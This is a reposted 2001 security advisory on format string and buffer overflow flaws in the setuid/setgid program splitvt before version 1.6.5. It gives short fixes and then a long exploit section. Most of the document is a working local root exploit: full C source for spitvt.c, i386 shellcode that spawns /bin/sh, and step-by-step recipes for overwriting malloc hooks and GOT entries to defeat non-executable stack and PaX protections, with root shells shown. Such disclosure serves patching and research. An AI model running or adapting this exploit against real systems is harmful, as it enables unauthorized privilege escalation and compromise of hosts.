[ SOURCE: http://www.secureroot.com/security/advisories/9795712576.html ] ---------------[ MasterSecuritY ]--------------- ----------------[ Multiple vulnerabilities in splitvt ]----------------- ------------------[ By fish stiqz ]------------------- ---------[ And Michel "MaXX" Kaempf ]---------- --[ 0x00 - Table of contents ] ----------------------------------------- 0x01 - Overview 0x02 - Solutions 0x03 - Exploit --[ 0x01 - Overview ]--------------------------------------------------- > Splitvt is a program that splits any vt100 compatible screen into > two - an upper and lower window in which you can run two programs > at the same time. Splitvt differs from screen in that while screen > gives you multiple virtual screens, splitvt splits your screen into > two fully visible windows. You can even use splitvt with screen to > provide multiple split screens. This can be very handy when running > over a modem, or for developing client-server applications or watching > routine tasks as you work. The latest splitvt versions are available via the web at: http://www.devolution.com/~slouken/projects/splitvt/ Versions < 1.6.5 contain a format string vulnerability and numerous buffer overflows. As splitvt is installed setuid root or setgid tty or utmp on most systems, an attacker might be able to successfully exploit one of these vulnerabilities and gain special privileges on the local system. Sam Lantinga , the author, was contacted and a patch fixing the exploitable and potential holes found in splitvt was provided. He released a new splitvt version, 1.6.5, based on this patch. --[ 0x02 - Solutions ]-------------------------------------------------- ----[ Short-term solution ]--------------------------------------------- Remove the setuid or setgid bit from splitvt, because as mentioned in the splitvt ANNOUNCE file: > The set-uid bit is only for updating the utmp database and for > changing ownership of its pseudo-terminals. It is not necessary for > splitvt's operation. Upgrade to splitvt 1.6.5, available at: http://www.devolution.com/~slouken/projects/splitvt/ ----[ Long-term solution ]---------------------------------------------- Permanently remove the setuid or setgid bit from splitvt, because if splitvt appears to be a useful program, it was not designed with security in mind, as revealed by the splitvt CHANGES file: > Version 1.6.5 > Security fixes by fish stiqz > > Version 1.6.4 > Patched some security holes: > fixed buffer overflow in lock.c > > Version 1.6.3 > Patched some security holes: > fixed sprintf overflow in parserc.c > fixed env label overflow in parserc.c > fixed env variable expansion overflow > added read access check in parserc.c > added chdir() access check in parserc.c > fixed sprintf overflow in vtmouse.c --[ 0x03 - Exploit ]---------------------------------------------------- Although many of the discovered buffer overflows were exploitable, the program described here exploits the format string vulnerability present in the parserc.c module: > sprintf(rcfile_buf, startupfile, home); rcfile_buf is a malloced buffer, startupfile is a string provided to splitvt by the user thanks to the -rcfile option, and home is a pointer to the HOME environment variable. ----[ The downward spiral ]--------------------------------------------- The exploit should be portable and even work against systems protected with StackGuard, StackShield, OpenWall, PaX or whatever. The current version successfully exploits splitvt on every Linux system (i386, sparc, etc), and should only need a small amount of changes in order to work against different systems, like *BSD or SunOS for example. See the "Portability" section below for more information. The vulnerability looks like a classic format string vulnerability, and it is, except one or two details. The *printf() functions read their arguments on the stack, and in case of a format string vulnerability, they read the addresses where they should store the number of characters written so far (the %n arguments) on the stack. Here, the rcfile_buf is located in the heap and not on the stack, and that is why the %n arguments should already be present somewhere on the stack at the time the guilty sprintf() call is performed. The exploit stores them among the arguments passed to splitvt, so that they are located on the stack and can contain nul characters. The format string (startupfile) should therefore force sprintf() to eat every single byte on the stack until it reaches the %n arguments, located somewhere at the beginning of the stack. And the format string should be built so that rcfile_buf cannot be overflowed, which could happen because it was malloced to hold the format string, but not the *converted* format string. The solution is to use %c, which is 2 bytes long, but only 1 byte long (one character) once converted. Thus rcfile_buf will be big enough to hold the converted format string. And because one %c is only 2 bytes long but actually eats 4 bytes on the stack, the length of the whole format string is minimized. ----[ Further down the spiral ]----------------------------------------- During the design of the exploit, lots of problems arose: - On SlackWare for example, /bin/sh (bash) drops privileges before actually spawning a shell. The exploit should therefore fix the privileges before running a shell. - The length modifier hh, described in printf(3), did not work correctly on Linux i386 systems when used along with the n conversion specifier (%hhn behaved just like %n). The latest libc release corrects this behaviour, but not everyone runs the latest libc. - Something strange is going on when passing very long arguments to execve() on Linux sparc. Instead of complaining because of a too long argument list like on Linux i386, execve() successfully starts the new program, but some arguments passed to the program are overwritten, and some environment variables are lost, but without any notification. The conclusion was: in order to build a portable exploit, a flexible mechanism, capable of overwriting an arbitrary number of arbitrary integers in memory with arbitrary integers, was needed. The information the exploit needs in order to successfully work are described in the "fixme" section of the code: - COMMAND: the command splitvt should run once the terminal split into two windows (see below); - HOME_VALUE: the value of the HOME environment variable (see below); - SPLITVT: the location of the setuid or setgid splitvt binary ("/usr/bin/splitvt" on most systems); - STACK: the beginning of the stack ((0xc0000000-4) on Linux i386, (0xf0000000-8) on Linux sparc for example); - n: an array where each entry indicates an integer type (short_int or signed_char), a pointer to an integer to be overwritten (pointer) and the integer which should be stored there (number) (see below). Besides the "fixme" section, the exploit also needs to know how many integers it should eat on the stack: its unique command line argument. ----[ Linux i386 ]------------------------------------------------------ - The first obvious exploitation method would be to overwrite a function pointer somewhere in memory (__malloc_hook for example) with a pointer to a shellcode located somewhere on the stack (the HOME environment variable for example). Here is how to find out the address of the __malloc_hook function pointer: $ cp /usr/bin/splitvt /tmp/splitvt $ gdb /tmp/splitvt (gdb) break getopt (gdb) run (gdb) p &__malloc_hook 0x40140cdc Here is the corresponding "fixme" section: /* */ #define COMMAND "foobar" #define HOME_VALUE \ /* setuid( 0 ); */ \ "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \ /* setgid( 0 ); */ \ "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \ /* Aleph One :) */ \ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \ "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \ "\x80\xe8\xdc\xff\xff\xff/bin/sh" #define SPLITVT "/usr/bin/splitvt" #define STACK (0xc0000000-4) n_t n[] = { { short_int, (void *)(0x40140cdc+0), ((STACK-sizeof(SPLITVT)-sizeof(HOME_VALUE))&0x0000fffc) }, { short_int, (void *)(0x40140cdc+2), ((STACK-sizeof(SPLITVT)-sizeof(HOME_VALUE))&0xffff0000)>>16 }, { null } }; /* */ COMMAND is set to "foobar" because it does not matter, splitvt will not be able to reach the part of the code which uses this value. The __malloc_hook function pointer will be overwritten in two passes (two short ints). The address of the shellcode (the HOME environment variable) is computed so that it is 4 bytes aligned (thus the &0x0000fffc) and split into two short ints. And the final exploitation: $ gcc -o spitvt spitvt.c $ for i in `seq 8630 8670`; do echo $i; ./spitvt $i; done 8630 8631 8632 8633 8634 8635 8636 8637 8638 8639 8640 8641 8642 8643 8644 8645 8646 8647 sh-2.03# id uid=0(root) gid=0(root) - The previous method will not work on systems patched with Solar Designer's non-executable stack patch. But at the beginning of the rcfile_buf buffer, located somewhere in the heap, is stored the content of the HOME environment variable. Thanks to ltrace for example, it is possible to find out the address of rcfile_buf and to exploit splitvt on patched systems: $ cp /usr/bin/splitvt /tmp/splitvt $ gdb /tmp/splitvt (gdb) break getopt (gdb) run (gdb) p &__free_hook 0x255cd8 $ ltrace /tmp/splitvt 2>&1 | grep malloc 0x0805f958 /* */ #define COMMAND "foobar" #define HOME_VALUE \ /* setuid( 0 ); */ \ "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \ /* setgid( 0 ); */ \ "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \ /* Aleph One :) */ \ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \ "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \ "\x80\xe8\xdc\xff\xff\xff/bin/sh" #define SPLITVT "/usr/bin/splitvt" #define STACK (0xc0000000-4) n_t n[] = { { short_int, (void *)(0x255cd8+0), /*0805*/0xf958 }, { short_int, (void *)(0x255cd8+2), 0x0805/*f958*/ }, { null } }; /* */ $ gcc -o spitvt spitvt.c $ ./spitvt 8659 sh-2.03# id uid=0(root) gid=0(root) - The previous method will not work against systems patched with PaX. Therefore the exploit has to use return-into-libc style attacks. For example, the library call following the guilty sprintf() call is: > open(rcfile_buf, O_RDONLY, 0) Fortunately, O_RDONLY is equal to 0, so that, if the exploit manages to replace the open() function with the execve() function, the previous library call would actually result in execve(rcfile_buf, NULL, NULL). The exploit should overwrite the GOT (Global Offset Table) entry of the open() function with the address of the execve() function, and make sure rcfile_buf contains a valid filename (rcfile_buf holds the HOME environment variable and garbage (the converted %c characters)... thus the exploit has to nul terminate the HOME string (thanks to a third entry in the n array) in order to create a valid filename): $ objdump -R /usr/bin/splitvt | grep open 08052f40 $ cp /usr/bin/splitvt /tmp/splitvt $ gdb /tmp/splitvt (gdb) break getopt (gdb) run (gdb) p execve 0x400ec178 $ ltrace /tmp/splitvt 2>&1 | grep malloc 0x0805f958 $ gcc -o /tmp/sh /tmp/sh.c $ cat /tmp/sh.c #include int main() { char * argv[] = { "/bin/sh", NULL }; setuid( 0 ); setgid( 0 ); execve( argv[0], argv, NULL ); return( -1 ); } /* */ #define COMMAND "foobar" #define HOME_VALUE "/tmp/sh" #define SPLITVT "/usr/bin/splitvt" #define STACK (0xc0000000-4) n_t n[] = { { short_int, (void *)(0x08052f40 + 0), /*400e*/0xc178 }, { short_int, (void *)(0x08052f40 + 2), 0x400e/*c178*/ }, { signed_char, (void *)(0x0805f958 + sizeof(HOME_VALUE) - 1), 0 }, { null } }; /* */ $ gcc -o spitvt spitvt.c $ ./spitvt 8658 sh-2.03# id uid=0(root) gid=0(root) - But wait... thanks to splitvt, it is possible to obtain two root shells for the price of one. The exploit has to make sure splitvt does not drop the privileges before spawning the shells, by replacing the call to setuid (or setgid, depending on the splitvt binary) with a harmless call, to getuid for example: $ objdump -R /usr/bin/splitvt | grep setuid 08052f78 $ objdump -T /usr/bin/splitvt | grep getuid 08049250 /* */ #define COMMAND "/tmp/sh" #define HOME_VALUE "foobar" #define SPLITVT "/usr/bin/splitvt" #define STACK (0xc0000000-4) n_t n[] = { { short_int, (void *)(0x08052f78 + 0), /*0804*/0x9250 }, { short_int, (void *)(0x08052f78 + 2), 0x0804/*9250*/ }, { null } }; /* */ $ gcc -o spitvt spitvt.c $ ./spitvt 8659 Gotcha! - Another method, which will only work on systems where splitvt is setuid root, is to replace the call to getuid() with a call to sync(), a harmless function which always returns 0: $ objdump -R /usr/bin/splitvt | grep getuid 08052f30 $ cp /usr/bin/splitvt /tmp/splitvt $ gdb /tmp/splitvt (gdb) break getopt (gdb) run (gdb) p sync 0x40105b80 /* */ #define COMMAND "/bin/sh" #define HOME_VALUE "foobar" #define SPLITVT "/usr/bin/splitvt" #define STACK (0xc0000000-4) n_t n[] = { { short_int, (void *)(0x08052f30 + 0), /*4010*/0x5b80 }, { short_int, (void *)(0x08052f30 + 2), 0x4010/*5b80*/ }, { null } }; /* */ $ gcc -o spitvt spitvt.c $ ./spitvt 8659 Gotcha! ----[ Linux sparc ]----------------------------------------------------- The shellcode techniques (stack and heap) presented above work on Linux sparc. The return-into-libc attacks however will not if applied directly to the sparc architecture, because of the differences in the dynamic linking process: on sparc, there is no GOT. When disassembling the code corresponding to dynamically linked functions before the shared libraries are loaded: $ ls -l /usr/bin/splitvt -rwxr-sr-x 1 root utmp 50824 Jun 28 2000 /usr/bin/splitvt $ cp /usr/bin/splitvt /tmp/splitvt $ gdb /tmp/splitvt (gdb) disass setgid Dump of assembler code for function setgid: 0x2beac : sethi %hi(0x48000), %g1 0x2beb0 : b,a 0x2bd8c <_IO_stdin_used+72780> 0x2beb4 : nop End of assembler dump. (gdb) disass getgid Dump of assembler code for function getgid: 0x2c014 : sethi %hi(0xa2000), %g1 0x2c018 : b,a 0x2bd8c <_IO_stdin_used+72780> 0x2c01c : nop End of assembler dump. The code of the setgid() and getgid() functions is exactly the same, except the value of the second short int: (gdb) x 0x2beac 0x2beac : 0x03000120 (gdb) x 0x2c014 0x2c014 : 0x03000288 If the exploit replaces 0x0120 at the address (0x2beac+2) with 0x0288, splitvt should not drop the privileges before spawning the shells: /* */ #define COMMAND "/bin/sh" #define HOME_VALUE "foobar" #define SPLITVT "/usr/bin/splitvt" #define STACK (0xf0000000-8) n_t n[] = { { signed_char, (void *)(0x2beac+2), 0x02 }, { signed_char, (void *)(0x2beac+3), 0x88 }, { null } }; /* */ Because of the potential very long arguments described above in the "Further down the spiral" section, the signed_char mechanism was used instead of the short_int mechanism. $ gcc -o spitvt spitvt.c $ ./spitvt 8715 sh-2.04$ id egid=43(utmp) Gotcha! ----[ Portability ]----------------------------------------------------- The exploit is already almost portable, but in order to work on operating systems different from Linux, a few changes have to be made: the stack layout has to be known, because sometimes 4 bytes and 16 bytes alignment is required (see the "Code" section below for more information). Therefore, each time the symbolic constant STACK appears, there is something to adjust in the exploit. Help or pointers to documentation concerning the initial stack layout on SunOS, Solaris, *BSD or whatever would be greatly appreciated. Thanks! ----[ Code ]------------------------------------------------------------ /* * MasterSecuritY * * spitvt.c - Local exploit for splitvt < 1.6.5 * Copyright (C) 2001 fish stiqz * Copyright (C) 2001 Michel "MaXX" Kaempf * * Updated versions of this exploit and the corresponding advisory will * be made available at: * * ftp://maxx.via.ecp.fr/spitvt/ * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or (at * your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * USA */ #include #include #include #include #include /* array_of_strings_t */ typedef struct array_of_strings_s { size_t strings; char ** array; } array_of_strings_t; /* type_t */ typedef enum { short_int, signed_char, null } type_t; /* n_t */ typedef struct n_s { type_t type; void * pointer; int number; } n_t; /* */ #define COMMAND "" #define HOME_VALUE "" #define SPLITVT "" #define STACK () n_t n[] = { { null } }; /* */ unsigned long int eat; array_of_strings_t aos_envp = { 0, NULL }; array_of_strings_t aos_argv = { 0, NULL }; /* array_of_strings() */ int array_of_strings( array_of_strings_t * p_aos, char * string ) { size_t strings; char ** array; if ( p_aos->strings == SIZE_MAX / sizeof(char *) ) { return( -1 ); } strings = p_aos->strings + 1; array = realloc( p_aos->array, strings * sizeof(char *) ); if ( array == NULL ) { return( -1 ); } (p_aos->array = array)[ p_aos->strings++ ] = string; return( 0 ); } #define HOME_KEY "HOME" /* home() */ int home() { char * home; unsigned int envp_home; unsigned int i; home = malloc( sizeof(HOME_KEY) + sizeof(HOME_VALUE) + (4-1) ); if ( home == NULL ) { return( -1 ); } strcpy( home, HOME_KEY"="HOME_VALUE ); /* if HOME_VALUE holds a shellcode and is to be executed, 4 bytes * alignment is sometimes required (on sparc architectures for * example) */ envp_home = STACK - sizeof(SPLITVT) - sizeof(HOME_VALUE); for ( i = 0; i < envp_home % 4; i++ ) { strcat( home, "X" ); } return( array_of_strings(&aos_envp, home) ); } /* shell() */ int shell() { size_t size; unsigned int i; char * shell; char * string; size = 0; for ( i = 0; n[i].type != null; i++ ) { size += sizeof(void *); } shell = malloc( size + 3 + 1 ); if ( shell == NULL ) { return( -1 ); } for ( i = 0; n[i].type != null; i++ ) { *( (void **)shell + i ) = n[i].pointer; } /* since file is 16 bytes aligned on the stack, the following 3 * characters padding ensures shell is 4 bytes aligned */ for ( i = 0; i < 3; i++ ) { shell[ size + i ] = 'X'; } shell[ size + i ] = '\0'; for ( string = shell; string <= shell+size+i; string += strlen(string)+1 ) { if ( array_of_strings(&aos_argv, string) ) { return( -1 ); } } return( 0 ); } #define S "%s" #define C "%c" #define HN "%hn" #define HHN "%hhn" /* file() */ int file() { size_t size; unsigned int i, j; char * file; int number; unsigned int argv_file; size = (sizeof(S)-1) + (eat * (sizeof(C)-1)); for ( i = 0; n[i].type != null; i++ ) { switch ( n[i].type ) { case short_int: /* at most USHRT_MAX 'X's are needed */ size += USHRT_MAX + (sizeof(HN)-1); break; case signed_char: /* at most UCHAR_MAX 'X's are needed */ size += UCHAR_MAX + (sizeof(HHN)-1); break; case null: default: return( -1 ); } } file = malloc( size + (16-1) + 1 ); if ( file == NULL ) { return( -1 ); } i = 0; memcpy( file + i, S, sizeof(S)-1 ); i += sizeof(S)-1; for ( j = 0; j < eat; j++ ) { memcpy( file + i, C, sizeof(C)-1 ); i += sizeof(C)-1; } /* initialize number to the number of characters written so far * (aos_envp.array[aos_envp.strings-2] corresponds to the HOME * environment variable) */ number = strlen(aos_envp.array[aos_envp.strings-2])-sizeof(HOME_KEY) + eat; for ( j = 0; n[j].type != null; j++ ) { switch ( n[j].type ) { case short_int: while ( (short int)number != (short int)n[j].number ) { file[ i++ ] = 'X'; number += 1; } memcpy( file + i, HN, sizeof(HN)-1 ); i += sizeof(HN)-1; break; case signed_char: while ( (signed char)number != (signed char)n[j].number ) { file[ i++ ] = 'X'; number += 1; } memcpy( file + i, HHN, sizeof(HHN)-1 ); i += sizeof(HHN)-1; break; case null: default: return( -1 ); } } /* in order to maintain a constant distance between the sprintf() * arguments and the splitvt shell argument, 16 bytes alignment is * sometimes required (for ELF binaries for example) */ argv_file = STACK - sizeof(SPLITVT); for ( j = 0; aos_envp.array[j] != NULL; j++ ) { argv_file -= strlen( aos_envp.array[j] ) + 1; } argv_file -= i + 1; for ( j = 0; j < argv_file % 16; j++ ) { file[ i++ ] = 'X'; } file[ i ] = '\0'; return( array_of_strings(&aos_argv, file) ); } /* main() */ int main( int argc, char * argv[] ) { /* eat */ if ( argc != 2 ) { return( -1 ); } eat = strtoul( argv[1], NULL, 0 ); /* aos_envp */ array_of_strings( &aos_envp, "TERM=vt100" ); /* home() should always be called right before NULL is added to * aos_envp */ if ( home() ) { return( -1 ); } array_of_strings( &aos_envp, NULL ); /* aos_argv */ array_of_strings( &aos_argv, SPLITVT ); array_of_strings( &aos_argv, "-upper" ); array_of_strings( &aos_argv, COMMAND ); array_of_strings( &aos_argv, "-lower" ); array_of_strings( &aos_argv, COMMAND ); /* shell() should always be called right before "-rcfile" is added * to aos_argv */ if ( shell() ) { return( -1 ); } array_of_strings( &aos_argv, "-rcfile" ); /* file() should always be called right after "-rcfile" is added to * aos_argv and right before NULL is added to aos_argv */ if ( file() ) { return( -1 ); } array_of_strings( &aos_argv, NULL ); /* execve() */ execve( aos_argv.array[0], aos_argv.array, aos_envp.array ); return( -1 ); } -- MaXX